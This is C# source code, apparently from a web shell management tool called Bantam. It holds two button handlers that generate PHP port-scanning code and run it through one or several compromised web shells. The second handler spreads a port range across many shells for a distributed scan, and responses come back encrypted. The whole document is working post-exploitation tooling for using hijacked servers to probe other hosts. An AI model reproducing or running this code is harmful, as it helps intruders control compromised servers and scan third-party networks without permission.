/// <summary> /// Main port scan routine /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void btnScan_Click(object sender, EventArgs e) { if (btnScan.Enabled == false) { return; } string target = textBoxHost.Text; if (string.IsNullOrEmpty(target) && !Helper.IsValidIPv4(target) && !Helper.IsValidUri(target)) { labelDynStatus.Text = "Invalid IP/Url."; return; } btnScan.Enabled = false; if (BantamMain.Shells.ContainsKey(ShellUrl)) { string portsCode = string.Empty; bool encryptResponse = BantamMain.Shells[ShellUrl].ResponseEncryption; int ResponseEncryptionMode = BantamMain.Shells[ShellUrl].ResponseEncryptionMode; if (int.TryParse(textBoxPorts.Text, out int outVal)) { if (!string.IsNullOrEmpty(textBoxPorts.Text)) { portsCode = "$ports = array('" + textBoxPorts.Text + "');"; labelDynStatus.Text = ""; } else { if (comboBoxCommonPorts.SelectedIndex != 0) { if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.ONE_TO_1024) { portsCode = PhpBuilder.PortsScannerPorts1To1024(); labelDynStatus.Text = "** May fail unless on local IP"; } else if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.COMMON_PORTS) { labelDynStatus.Text = "** May fail unless on local IP"; portsCode = PhpBuilder.PortScannerPortsCommon(); } else if (comboBoxCommonPorts.SelectedIndex == (int)PORTS_OPTIONS.ALL_PORTS) { portsCode = PhpBuilder.PortScannerPortsAll(); labelDynStatus.Text = "** May fail unless on local IP"; } } } string phpCode = PhpBuilder.PortScanner(textBoxHost.Text, portsCode, encryptResponse); BantamMain.ExecutePHPCodeDisplayInRichTextBox(ShellUrl, phpCode, "Opened Ports - " + textBoxHost.Text, encryptResponse, ResponseEncryptionMode); } } btnScan.Enabled = true; }
/// <summary> /// Main Distributed scanning routine /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private async void btnScan_Click(object sender, EventArgs e) { if (string.IsNullOrEmpty(textBoxTarget.Text)) { lblStatus.Text = "Invalid IP/Url."; return; } string target = textBoxTarget.Text; if (!Helper.IsValidIPv4(target) && !Helper.IsValidUri(target)) { lblStatus.Text = "Invalid IP/Url."; return; } if (string.IsNullOrEmpty(textBoxStartPort.Text) || string.IsNullOrEmpty(textBoxEndPort.Text)) { lblStatus.Text = "Invalid port."; return; } int startPort = Convert.ToInt32(textBoxStartPort.Text); int endPort = Convert.ToInt32(textBoxEndPort.Text); if (startPort > endPort || endPort <= 0 || startPort <= 0 || startPort > PORT_MAX || endPort > PORT_MAX) { lblStatus.Text = "Invalid port."; return; } btnScan.Enabled = false; string windowTitle = "Open Ports ( " + target + " )"; RichTextBox rtb = GuiHelper.RichTextBoxDialog(windowTitle, string.Empty); int shellsCount = checkedListBoxShells.CheckedItems.Count; int portsPerShell = ((endPort - startPort) / shellsCount); int iter = 1; foreach (var checkedItem in checkedListBoxShells.CheckedItems) { string portsCode = string.Empty; string scannedRange = string.Empty; if (iter == shellsCount) { if (iter == 1) { scannedRange = startPort.ToString() + ", " + (endPort).ToString(); portsCode = "$ports = range(" + scannedRange + ");"; } else { scannedRange = (((iter - 1) * portsPerShell) + 1).ToString() + ", " + (endPort).ToString(); portsCode = "$ports = range(" + scannedRange + ");"; } } else { if (iter == 1) { scannedRange = startPort.ToString() + ", " + (iter * portsPerShell).ToString(); portsCode = "$ports = range(" + scannedRange + ");"; } else { scannedRange = (((iter - 1) * portsPerShell) + 1).ToString() + ", " + (iter * portsPerShell).ToString(); portsCode = "$ports = range(" + scannedRange + ");"; } iter++; } bool encryptResponse = true; string shellUrl = checkedListBoxShells.GetItemText(checkedItem); string responseText = "[" + shellUrl + "] - returned ports (" + scannedRange + ") - \r\n"; string phpCode = PhpBuilder.PortScanner(target, portsCode, encryptResponse); lblStatus.Text = "Scanning."; BantamMain.ExecutePHPCodeDisplayInRichTextBox(shellUrl, phpCode, windowTitle, encryptResponse, (int)CryptoHelper.RESPONSE_ENCRYPTION_TYPES.OPENSSL, false, rtb, responseText); btnScan.Enabled = true; } }